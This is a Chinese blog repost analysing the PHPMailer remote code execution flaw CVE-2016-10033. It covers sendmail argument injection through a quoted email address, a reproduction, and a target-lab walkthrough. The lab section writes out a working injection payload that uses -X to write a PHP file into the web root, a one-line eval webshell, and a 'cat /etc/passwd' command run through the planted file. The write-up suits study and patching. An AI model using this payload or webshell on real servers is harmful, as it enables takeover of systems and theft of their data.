PHPMailer遠程命令執行漏洞溯源


0x00 前言

PHP是一種開源的腳本語言,被用來嵌入HTML做Web開發。它有9百萬用戶,並且被許多流行的工具使用,例如WordPress、Drupal、Joomla!等。這周一個高危安全更新用來解決PHPMailer的遠程代碼執行漏洞CVE-2016-10033。它是PHP網站發送郵件的一個庫。

這個致命的漏洞是由class.phpmailer.php沒有正確處理用戶的請求導致的。結果遠程攻擊者能夠在有弱點的服務器上遠程執行代碼。

這個漏洞影響了5.2.18版本之前的PHPMailer。

 

0x01 分析

當用PHPMailer發送一個郵件時,正常的處理是:

1. PHPMailer獲取用戶請求

2. PHPMailer校驗用戶提交的數據

3. PHPMailer傳遞數據到PHP的mail()函數發送郵件。

在這個校驗的步驟中,PHPMailer校驗用戶數據代碼如下:

http://p9.qhimg.com/t01a974f8c7d3430488.png

這個校驗使用標准的校驗方法,如PHP內置的FILTER_VALIDATE_EMAIL和html5默認的郵件類型模式匹配。

http://p5.qhimg.com/t01fb224a0939e6eaff.png

在這個例子中$address的值“attacker -InjectedParam @example.com”將被拒絕。但是這些方法遵循RFC3696協議,意味着郵件地址能夠包含用引號括起來的空格,因此$address "attacker -InjectedParam"@example.com將繞過過濾。

校驗完成之后,PHPMailer將傳遞郵件收件人地址,主題,正文,頭和發件人地址都PHP的mail()函數繼而發送郵件。代碼如下。

http://p9.qhimg.com/t01ce8cd84ddf63f360.png

問題就在這兒,PHPMailer不能在傳遞他們到mail()之前糾正這些郵件數據。它只是返回:

http://p3.qhimg.com/t018a09c4838f7a88a9.png

然后傳遞$result到mail()函數。這個問題導致攻擊。

例如,當用面地址發送:

http://p0.qhimg.com/t01df35caa73b495bbd.png

mail()函數將以4個參數執行/usr/bin/sendmail,“/usr/bin/sendmail”, “-t”, “-i” 和 “-fattacker -InjectedParam@example.com”。

然而,攻擊者能夠通過注入一個“"”.比如用如下地址:

http://p8.qhimg.com/t0117a84f6f5df41b31.png

這個郵件地址這個發送郵件的函數將執行6個參數,“/usr/bin/sendmail”, “-t”, “-i”, “-fattacker”, “-InjectedParam1” 和 “-InjectedParam2"@example.com”。

 

0x02 如何重現

為了重現攻擊,我建了個網站服務器如下:

http://p3.qhimg.com/t0134a67fb0b97f62a1.png

源碼如下:

http://p2.qhimg.com/t01c5b492f588471ddc.png

這個表單類似網站反饋功能。攻擊者能夠利用一個惡意的郵件地址發送郵件:

http://p5.qhimg.com/t017b726dcc31cca891.png

PHP代碼填充到Name和Message如下:

http://p8.qhimg.com/t01601baeecca987c38.png

http://p5.qhimg.com/t01898f120a62a20494.png

在發送郵件之前,web服務根目錄文件如下圖。這個index.php是網頁代碼“vulnerable”包含PHPMailer文件。

http://p3.qhimg.com/t01c0d640009a01df3f.png

Payload被發送如下圖:

http://p0.qhimg.com/t01998434f5f57cd94a.png

在發送攻擊郵件后,一個新的文件“test.php”被創建了。它包含發送的郵件的原始數據,並包含我們的PHP代碼段:

http://p2.qhimg.com/t015af29493e129d0b3.png

http://p9.qhimg.com/t0178a5571059d9800e.png

然后我們能訪問我們的test.php文件並執行命令。如下圖我們執行了“cat /etc/passwd”:

http://p3.qhimg.com/t0155f01a21376ea448.png

真實的攻擊可能是上傳一個攻擊代碼的文件。這意味着攻擊者能夠通過郵件發送惡意代碼到服務器上,然后遠程執行。

 

0x05 解決方案

所有PHPMailer的用戶應該立刻升級到最新版本。

 

測試靶機

1、通過Burp Suite中spider模塊掃描網站目錄結構,如圖1所示。


 
圖1 掃描網站結構

2、發現mail.php頁面。我們打開查看,如圖2所示。


 
圖2 打開mail.php

3、插入惡意代碼
(1)在name處隨便輸入
比如aaa
(2)在email處輸入

"aaa". -OQueueDirectory=/tmp/. -X/var/www/html/a.php @aaa.com 

(3)在message處輸入一句話木馬

<?php @eval($_POST[a]);?> 

4、點擊Send email發送。最后通過菜刀鏈接,key在根目錄。




免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM